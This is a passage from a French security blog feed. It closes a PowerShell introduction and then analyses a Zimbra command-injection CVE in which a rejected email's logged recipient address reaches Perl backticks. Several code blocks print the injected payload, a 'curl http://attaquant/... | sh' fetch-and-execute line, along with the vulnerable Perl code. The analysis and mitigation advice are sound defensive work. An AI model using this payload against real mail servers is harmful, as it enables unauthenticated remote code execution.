<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">PS C:\Users\captain&gt; Get-NetIPConfiguration</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">InterfaceAlias       : Ethernet</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">InterfaceIndex       : 5</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">InterfaceDescription : Amazon Elastic Network Adapter</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">NetProfile.Name      : Network 3</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">IPv4Address          : 10.10.178.209</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">IPv4DefaultGateway   : 10.10.0.1</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">DNSServer            : 10.0.0.2</span><br></div></code></pre></div></div>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="analyse-en-temps-réel">Analyse en temps réel<a href="https://docs.bastienbonora.fr/blog/powershell-introduction#analyse-en-temps-r%C3%A9el" class="hash-link" aria-label="Lien direct vers Analyse en temps réel" title="Lien direct vers Analyse en temps réel" translate="no">​</a></h2>
<p>Au-delà des informations statiques, PowerShell permet d'inspecter l'état dynamique du système : processus, services, connexions réseau.</p>
<p><code>Get-Process</code> liste tous les processus en cours d'exécution avec leur consommation CPU et mémoire. C'est l'équivalent de <code>tasklist</code> sous CMD ou <code>ps</code> sous Linux, mais avec des objets qu'on peut filtrer et trier :</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">PS C:\Users\captain&gt; Get-Process</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">-------  ------    -----      -----     ------     --  -- -----------</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">     67       5      872        500       0.06   2340   0 AggregatorHost</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">     55       5      712       2672       0.02   3024   0 AM_Delta_Patch</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    309      13    18312       1256       0.52   1524   0 amazon-ssm-agent</span><br></div></code></pre></div></div>
<p><code>Get-Service</code> affiche le statut des services : Running, Stopped, Paused. Indispensable en troubleshooting, mais aussi en forensics pour repérer des services anormaux installés sur la machine.</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">PS C:\Users\captain&gt; Get-Service</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">Status   Name               DisplayName</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">------   ----               -----------</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">Stopped  Amazon EC2Launch   Amazon EC2Launch</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">Running  AmazonSSMAgent     Amazon SSM Agent</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">Stopped  AppIDSvc           Application Identity</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">Running  BFE                Base Filtering Engine</span><br></div></code></pre></div></div>
<p><code>Get-NetTCPConnection</code> affiche les connexions TCP actives, avec les endpoints locaux et distants, l'état de la connexion et le process ID propriétaire. C'est l'équivalent de <code>netstat</code>, mais encore une fois sous forme d'objets filtrables. Particulièrement utile en réponse à incident ou en analyse de malware pour repérer des connexions vers un serveur contrôlé par un attaquant.</p>
<p><code>Get-FileHash</code> calcule le hash d'un fichier (SHA256 par défaut). En réponse à incident ou en threat hunting, ça permet de vérifier l'intégrité d'un fichier ou de chercher un hash connu dans des bases de données d'IOCs :</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">PS C:\Users\captain\Documents\captain-cabin&gt; Get-FileHash -Path .\ship-flag.txt</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">Algorithm       Hash                      Path</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">---------       ----                      ----</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">SHA256          54D2EC3C12BF3D[...]       C:\Users\captain\Documents\captain-cabin\ship-flag.txt</span><br></div></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="les-alternate-data-streams">Les Alternate Data Streams<a href="https://docs.bastienbonora.fr/blog/powershell-introduction#les-alternate-data-streams" class="hash-link" aria-label="Lien direct vers Les Alternate Data Streams" title="Lien direct vers Les Alternate Data Streams" translate="no">​</a></h3>
<p>Sous NTFS, un fichier peut contenir des flux de données alternatifs (Alternate Data Streams, ou ADS). C'est une feature du système de fichiers qui permet d'attacher des données cachées à un fichier, au-delà de son contenu visible. Le flux <code>:$DATA</code> est le flux par défaut qui contient le contenu normal du fichier, mais on peut ajouter des flux nommés qui n'apparaissent pas avec un simple <code>Get-Content</code>.</p>
<p>PowerShell permet d'inspecter ces flux avec le paramètre <code>-Stream</code> :</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">PS C:\Users\Alex\Documents&gt; Get-Item -Path "C:\House\house_log.txt" -Stream *</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">FileName      : C:\House\house_log.txt</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">Stream        : :$DATA</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">Length        : 13</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">FileName      : C:\House\house_log.txt</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">Stream        : housinginfo</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">Length        : 21</span><br></div></code></pre></div></div>
<p>Ici, <code>:$DATA</code> est le contenu normal du fichier, et <code>housinginfo</code> est un ADS attaché au fichier. Les ADS sont un vecteur classique en forensics et en sécurité : un attaquant peut cacher du payload ou des données dans un flux alternatif sans modifier le contenu visible du fichier. Savoir les détecter fait partie des bases de l'analyse Windows.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="scripting-et-exécution-distante">Scripting et exécution distante<a href="https://docs.bastienbonora.fr/blog/powershell-introduction#scripting-et-ex%C3%A9cution-distante" class="hash-link" aria-label="Lien direct vers Scripting et exécution distante" title="Lien direct vers Scripting et exécution distante" translate="no">​</a></h2>
<p>PowerShell n'est pas qu'un shell interactif, c'est aussi un langage de script complet. On peut écrire des scripts dans des fichiers <code>.ps1</code> et les exécuter pour automatiser des tâches répétitives : analyse de logs, détection d'anomalies, extraction d'IOCs, énumération de systèmes, exécution de commandes à distance.</p>
<p>En cybersécurité, le scripting PowerShell est une compétence transversale. Côté défense, il permet d'automatiser l'analyse de logs, la détection d'indicateurs de compromission, le scan de systèmes à la recherche de signes d'intrusion. Côté offensif, il sert à l'énumération, l'exécution de commandes à distance, l'obfuscation de payloads pour contourner des défenses. Et côté administration, il permet d'automatiser des vérifications, de gérer des configurations à grande échelle, d'appliquer des politiques de sécurité.</p>
<p>Le cmdlet qui mérite qu'on s'y attarde, c'est <code>Invoke-Command</code>. Il permet d'exécuter des commandes ou des scripts sur des machines distantes. Pour un administrateur, c'est l'outil de base pour gérer un parc de machines. Pour un pentester, c'est un moyen d'exécuter des payloads sur des cibles.</p>
<p>Pour exécuter un script sur une machine distante :</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">Invoke-Command -FilePath c:\scripts\test.ps1 -ComputerName Server01</span><br></div></code></pre></div></div>
<p>Pour exécuter une commande à distance, sans script, avec un <code>-ScriptBlock</code> :</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">Invoke-Command -ComputerName Server01 -Credential Domain01\User01 -ScriptBlock { Get-Culture }</span><br></div></code></pre></div></div>
<p>Et sans credentials, si le contexte le permet :</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">Invoke-Command -ComputerName RoyalFortune -ScriptBlock {Get-Service}</span><br></div></code></pre></div></div>
<p>Ce qu'il faut retenir, c'est qu'on n'a pas besoin de savoir scripter pour profiter de la puissance d'<code>Invoke-Command</code>. Le <code>-ScriptBlock</code> accepte n'importe quelle commande PowerShell entre accolades, et le résultat est le même que si on tapait la commande directement sur la machine distante.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="pour-conclure">Pour conclure<a href="https://docs.bastienbonora.fr/blog/powershell-introduction#pour-conclure" class="hash-link" aria-label="Lien direct vers Pour conclure" title="Lien direct vers Pour conclure" translate="no">​</a></h2>
<p>PowerShell est un outil qu'on a tendance à sous-estimer quand on vient du monde Linux, parce qu'on le réduit souvent à un CMD amélioré. Mais l'approche orientée objet change fondamentalement la manière dont on interagit avec le système : pas de parsing de texte, des objets complets qu'on filtre et qu'on trie directement sur leurs propriétés, un langage de script complet, et une capacité d'exécution distante native.</p>
<p>Je reste toujours assez sceptique sur tout ça, mais il faut avouer que ce changement de paradigme n'est pas forcément une mauvaise chose. Mais passer d'un monde à l'autre est assez compliqué.</p>]]></content>
        <author>
            <name>Bastien Bonora</name>
            <uri>https://bastienbonora.fr</uri>
        </author>
        <category label="informatique" term="informatique"/>
        <category label="Windows" term="Windows"/>
        <category label="cybersécurité" term="cybersécurité"/>
        <category label="tools" term="tools"/>
    </entry>
    <entry>
        <title type="html"><![CDATA[CVE-2026-73570 : quand Zimbra exécute vos mails rejetés]]></title>
        <id>https://docs.bastienbonora.fr/blog/CVE-2026-73570-Zimbra-injection-commande</id>
        <link href="https://docs.bastienbonora.fr/blog/CVE-2026-73570-Zimbra-injection-commande"/>
        <updated>2026-08-29T00:00:00.000Z</updated>
        <summary type="html"><![CDATA[Il faut bien suivre la tendance. Grosses faille de sécurité, on doit rechercher et comprendre. Car visiblement cette jolie petite faille ne sort pas de nulle part et a été corrigée bien avant son annonce officielle.]]></summary>
        <content type="html"><![CDATA[<p>Il faut bien suivre la tendance. Grosses faille de sécurité, on doit rechercher et comprendre. Car visiblement cette jolie petite faille ne sort pas de nulle part et a été corrigée bien avant son annonce officielle.</p>
<p>La faille en question, c'est la <strong>CVE-2026-73570</strong>. Ce qui la rend intéressante — et dangereuse —, c'est qu'elle exploite un mécanisme que personne ne surveille : la journalisation (sauf si vous passez vos journées desssus). Le mail est rejeté, il n'arrive jamais dans une boîte, et pourtant le serveur exécute le payload. C'est contre-intuitif, et c'est exactement pour ça que ça marche si bien.</p>
<p>Je vais vous expliquer concrètement comment ça fonctionne, quel est le vrai point d'entrée (parce que le nom de la CVE est trompeur), et comment corriger le tout — en évitant les faux remèdes qui donnent une illusion de sécurité pendant que le serveur continue de saigner.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="la-bête-en-bref">La bête en bref<a href="https://docs.bastienbonora.fr/blog/CVE-2026-73570-Zimbra-injection-commande#la-b%C3%AAte-en-bref" class="hash-link" aria-label="Lien direct vers La bête en bref" title="Lien direct vers La bête en bref" translate="no">​</a></h2>
<table><thead><tr><th></th><th></th></tr></thead><tbody><tr><td>Identifiant</td><td>CVE-2026-73570 — CWE-78 (injection de commande OS)</td></tr><tr><td>Score</td><td>CVSS 3.1 : 8.9 (élevé)</td></tr><tr><td>Authentification</td><td><strong>aucune</strong></td></tr><tr><td>Versions affectées</td><td>toutes les ZCS antérieures à 10.1.20</td></tr><tr><td>Correctif</td><td>ZCS 10.1.20, publié le 20 juillet 2026</td></tr><tr><td>Branche 8.8.15</td><td><strong>aucun correctif — et il n'y en aura pas</strong></td></tr><tr><td>Exploitation active</td><td>confirmée par CERT Polska (17/08/2026), puis ajoutée au catalogue CISA KEV</td></tr></tbody></table>
<p>Une faille non authentifiée, Remote Code Execution (RCE pour les intimes), sur un serveur mail exposé sur Internet. Le CVSS à 8.9 et non 10, c'est uniquement parce que le vecteur d'attaque est « <em>high complexity</em> » au sens CVSS — le payload doit respecter un format précis pour déclencher la regex. Mais une fois le PoC public, la complexité ne veut plus rien dire.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="le-point-dentrée--ce-nest-pas-snmp-cest-le-logger">Le point d'entrée : ce n'est pas SNMP, c'est le logger<a href="https://docs.bastienbonora.fr/blog/CVE-2026-73570-Zimbra-injection-commande#le-point-dentr%C3%A9e--ce-nest-pas-snmp-cest-le-logger" class="hash-link" aria-label="Lien direct vers Le point d'entrée : ce n'est pas SNMP, c'est le logger" title="Lien direct vers Le point d'entrée : ce n'est pas SNMP, c'est le logger" translate="no">​</a></h2>
<p>C'est le premier piège. La CVE s'appelle « <em>SNMP Notification Command Injection</em> ». Tous les articles, tous les bulletins, disent : c'est SNMP. Tu cherches SNMP, tu désactives SNMP, tu retires SNMP. Sauf que le code vulnérable <strong>n'est pas dans le service SNMP</strong>.</p>
<p>La chaîne vulnérable appartient au service <strong><code>logger</code></strong>. Plus précisément au binaire <code>swatchdog</code> (alias <code>zmswatch</code>) qui est un démon de surveillance de logs, lancé par <code>logger</code>. Ce démon lit <code>/var/log/zimbra.log</code> en temps réel, cherche des motifs, et déclenche des actions — dont des notifications SNMP.</p>
<p>Le service <code>snmp</code> (le démon <code>snmpd</code>) n'a aucun rôle dans l'exploitation. Il n'a même pas besoin d'être démarré.</p>
<div class="theme-admonition theme-admonition-info admonition_xJq3 alert alert--info"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 14 16"><path fill-rule="evenodd" d="M7 2.3c3.14 0 5.7 2.56 5.7 5.7s-2.56 5.7-5.7 5.7A5.71 5.71 0 0 1 1.3 8c0-3.14 2.56-5.7 5.7-5.7zM7 1C3.14 1 0 4.14 0 8s3.14 7 7 7 7-3.14 7-7-3.14-7-7-7zm1 3H6v5h2V4zm0 6H6v2h2v-2z"></path></svg></span>info</div><div class="admonitionContent_BuS1"><p>Quand tu lis « SNMP notification processing » dans le bulletin, comprends : « swatchdog génère des traps SNMP quand il voit certains motifs dans les logs ». Le mot SNMP décrit la <em>destination</em> de la notification, pas le composant vulnérable. Le composant vulnérable, c'est <code>swatchdog</code>, qui appartient à <code>logger</code>.</p></div></div>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="le-mécanisme-pas-à-pas">Le mécanisme, pas à pas<a href="https://docs.bastienbonora.fr/blog/CVE-2026-73570-Zimbra-injection-commande#le-m%C3%A9canisme-pas-%C3%A0-pas" class="hash-link" aria-label="Lien direct vers Le mécanisme, pas à pas" title="Lien direct vers Le mécanisme, pas à pas" translate="no">​</a></h2>
<p>La chaîne d'exploitation comporte quatre maillons. Aucun n'est compliqué, c'est leur enchaînement qui est retords.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="maillon-1--lattaquant-envoie-un-mail-piégé">Maillon 1 — L'attaquant envoie un mail piégé<a href="https://docs.bastienbonora.fr/blog/CVE-2026-73570-Zimbra-injection-commande#maillon-1--lattaquant-envoie-un-mail-pi%C3%A9g%C3%A9" class="hash-link" aria-label="Lien direct vers Maillon 1 — L'attaquant envoie un mail piégé" title="Lien direct vers Maillon 1 — L'attaquant envoie un mail piégé" translate="no">​</a></h3>
<p>L'attaquant se connecte au port 25 (ou 465/587) et soumet une enveloppe SMTP dont l'adresse du destinataire contient un payload shell déguisé :</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">RCPT TO:&lt;x: Service status change: localhost x;curl -s http://attaquant/ksmd | sh;curl -s http://attaquant/payload; echo changed from stopped to running@inj.local&gt;</span><br></div></code></pre></div></div>
<p>Le format n'est pas aléatoire. Il imite exactement la syntaxe que <code>swatchdog</code> surveille : <code>Service status change: &lt;host&gt; &lt;service&gt; changed from stopped to running</code>. C'est le motif que Zimbra écrit dans ses logs quand un service redémarre. L'attaquant forge une ligne de log qui ressemble à un changement d'état légitime.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="maillon-2--postfix-rejette-mais-journalise">Maillon 2 — Postfix rejette, mais journalise<a href="https://docs.bastienbonora.fr/blog/CVE-2026-73570-Zimbra-injection-commande#maillon-2--postfix-rejette-mais-journalise" class="hash-link" aria-label="Lien direct vers Maillon 2 — Postfix rejette, mais journalise" title="Lien direct vers Maillon 2 — Postfix rejette, mais journalise" translate="no">​</a></h3>
<p>L'adresse est syntaxiquement invalide. Postfix la rejette avec un <code>warning: Illegal address syntax</code>. Jusque-là, tout va bien, le mail n'est pas livré.</p>
<p>Sauf que <strong>Postfix journalise la tentative</strong> dans <code>/var/log/zimbra.log</code>. Et la ligne journalisée contient le payload en clair :</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">postfix/smtpd[61594]: warning: Illegal address syntax from [...] in RCPT TO &lt;x: Service status change: localhost x;curl -s http://attaquant/ksmd | sh; ...&gt;</span><br></div></code></pre></div></div>
<p>C'est ce maillon qui rend la faille non authentifiée et insensible au rejet. Tu n'as pas besoin que le mail soit accepté. Tu n'as pas besoin d'un compte valide. Tu as juste besoin que Postfix écrive la ligne dans le log. Ce qu'il fait systématiquement, même en rejetant.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="maillon-3--swatchdog-lit-le-log-et-matche-le-motif">Maillon 3 — swatchdog lit le log et matche le motif<a href="https://docs.bastienbonora.fr/blog/CVE-2026-73570-Zimbra-injection-commande#maillon-3--swatchdog-lit-le-log-et-matche-le-motif" class="hash-link" aria-label="Lien direct vers Maillon 3 — swatchdog lit le log et matche le motif" title="Lien direct vers Maillon 3 — swatchdog lit le log et matche le motif" translate="no">​</a></h3>
<p><code>swatchdog</code> tail <code>/var/log/zimbra.log</code>. Il applique une regex :</p>
<div class="language-perl codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-perl codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">if (/: Service status change: (\S+) (.*) changed from stopped to running/) {</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    donotify('HOST' =&gt; "$1", 'SERVICE' =&gt; "$2", ...);</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">}</span><br></div></code></pre></div></div>
<blockquote>
<p>oui je suis allé loin, je la trouve géniale cette faille</p>
</blockquote>
<p>La ligne de log forgée par l'attaquant contient <code>Service status change: localhost x;curl ...</code> suivi de <code>changed from stopped to running</code>. La regex matche. <code>$1</code> capture <code>localhost</code>, <code>$2</code> capture tout le reste — y compris le <code>;curl -s http://attaquant/ksmd | sh</code>.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="maillon-4--exécution-via-les-backticks-perl">Maillon 4 — Exécution via les backticks Perl<a href="https://docs.bastienbonora.fr/blog/CVE-2026-73570-Zimbra-injection-commande#maillon-4--ex%C3%A9cution-via-les-backticks-perl" class="hash-link" aria-label="Lien direct vers Maillon 4 — Exécution via les backticks Perl" title="Lien direct vers Maillon 4 — Exécution via les backticks Perl" translate="no">​</a></h3>
<p>La fonction <code>donotify</code> construit une commande <code>snmptrap</code> et l'exécute avec des <strong>backticks Perl</strong> :</p>
<div class="language-perl codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-perl codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">sub dosnmp {</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    `$snmptrap $snmpsvctrap $snmpsvcname s $args{SERVICE} ...`;</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">}</span><br></div></code></pre></div></div>
<p>Les backticks en Perl passent la chaîne à <code>/bin/sh -c</code>. Le shell reçoit quelque chose comme :</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">snmptrap ... s x;curl -s http://attaquant/ksmd | sh;curl -s http://attaquant/payload; echo ...</span><br></div></code></pre></div></div>
<p>Le <code>;</code> termine la commande <code>snmptrap</code>, et tout ce qui suit s'exécute. Sous l'uid <code>zimbra</code>. Sans authentification.</p>
<p>Le fait que <code>snmptrap</code> n'existe pas ou ne soit pas trouvé ne change rien : le shell développe les substitutions <code>$( )</code> <strong>avant</strong> de chercher l'exécutable. La charge s'exécute, puis <code>snmptrap</code> échoue sur un <code>command not found</code> sans conséquence pour l'attaquant.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="le-bug-dans-le-code--un-échappement-appliqué-à-la-mauvaise-variable">Le bug dans le code : un échappement appliqué à la mauvaise variable<a href="https://docs.bastienbonora.fr/blog/CVE-2026-73570-Zimbra-injection-commande#le-bug-dans-le-code--un-%C3%A9chappement-appliqu%C3%A9-%C3%A0-la-mauvaise-variable" class="hash-link" aria-label="Lien direct vers Le bug dans le code : un échappement appliqué à la mauvaise variable" title="Lien direct vers Le bug dans le code : un échappement appliqué à la mauvaise variable" translate="no">​</a></h2>
<p>Ce qui rend la faille particulièrement frustrante, c'est que le développeur <strong>avait conscience du risque</strong>. Le script Perl généré à partir de <code>swatchrc</code> contient une ligne d'échappement :</p>
<div class="language-perl codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-perl codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">my $S_ = $_;</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">$S_ =~ s/([;&amp;\(\)\|\^&gt;&lt;\$`'\\])/\\$1/g;   # échappe $S_ (une copie)</span><br></div></code></pre></div></div>
<p>Le problème : cette ligne échappe <code>$S_</code>, une <strong>copie</strong> de la ligne de log. Mais la regex de matching tourne sur <code>$_</code>, l'original non échappé. Et c'est <code>$_</code> dont on extrait <code>$2</code>, qui part directement dans les backticks.</p>
<p>L'échappement existe. Il est correct. Il protège une variable qui n'est jamais utilisée dans la commande. C'est l'équivalent d'un casque posé sur le siège passager pendant que le conducteur roule sans ceinture.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="la-preuve-sur-le-serveur--zmswatchout">La preuve sur le serveur : zmswatch.out<a href="https://docs.bastienbonora.fr/blog/CVE-2026-73570-Zimbra-injection-commande#la-preuve-sur-le-serveur--zmswatchout" class="hash-link" aria-label="Lien direct vers La preuve sur le serveur : zmswatch.out" title="Lien direct vers La preuve sur le serveur : zmswatch.out" translate="no">​</a></h2>
<p>Et il est assez marrant de faire tourner un zimbra sur cette version et voir des attaques en temps réel. Et en attendant un peu, on trouve des lignes sympatiques dans <code>/opt/zimbra/log/zmswatch.out</code> :</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">880:SNMP notification: Aug 26 03:55:34 mail postfix/smtpd[61594]: warning: Illegal address syntax ... &lt;x: Service status change: localhost x;curl -s http://XX.XX.XX.XX/.../ksmd | sh; ...&gt;</span><br></div></code></pre></div></div>
<p><code>swatchdog</code> a avalé la ligne de log Postfix elle-même et l'a repassée dans son pipeline de notification. Ce n'est pas une hypothèse, c'est écrit noir sur blanc dans le fichier du composant vulnérable. Le mail n'a jamais été livré — c'est le <strong>log</strong> qui a servi de canal d'exécution.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="les-trois-faux-remèdes">Les trois faux remèdes<a href="https://docs.bastienbonora.fr/blog/CVE-2026-73570-Zimbra-injection-commande#les-trois-faux-rem%C3%A8des" class="hash-link" aria-label="Lien direct vers Les trois faux remèdes" title="Lien direct vers Les trois faux remèdes" translate="no">​</a></h2>
<p>C'est ici que ça devient amusant, dans le sens où ça ne l'est pas du tout. La documentation et les premiers retours d'expérience regorgent de conseils qui ne marchent pas.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="faux-remède-n1--snmp_notifyno">Faux remède n°1 : <code>snmp_notify=no</code><a href="https://docs.bastienbonora.fr/blog/CVE-2026-73570-Zimbra-injection-commande#faux-rem%C3%A8de-n1--snmp_notifyno" class="hash-link" aria-label="Lien direct vers faux-remède-n1--snmp_notifyno" title="Lien direct vers faux-remède-n1--snmp_notifyno" translate="no">​</a></h3>
<p>L'idée : dire à Zimbra de ne plus envoyer de notifications SNMP. Logique. Sauf que le script Perl généré recopie la valeur brute :</p>
<div class="language-perl codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-perl codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">$notifications{snmp}="no";</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">...</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">if ($notifications{snmp}) { dosnmp(%args); }</span><br></div></code></pre></div></div>
<p>En Perl, <strong>toute chaîne non vide autre que <code>"0"</code> est vraie</strong>. <code>if ("no")</code> vaut <strong>vrai</strong>. La fonction vulnérable s'exécute quand même.</p>
<blockquote>
<p>Quand j'ai vu ça, je me suis retrouvé à l'école travaillant sur du JS...</p>
</blockquote>
<p>Seule la valeur <code>0</code> neutralise réellement l'appel :</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token function" style="color:#d73a49">su</span><span class="token plain"> - zimbra </span><span class="token parameter variable" style="color:#36acaa">-c</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">'zmlocalconfig -e snmp_notify=0'</span><br></div></code></pre></div></div>
<p>Et même ça, il faut vérifier dans le script réellement chargé :</p>
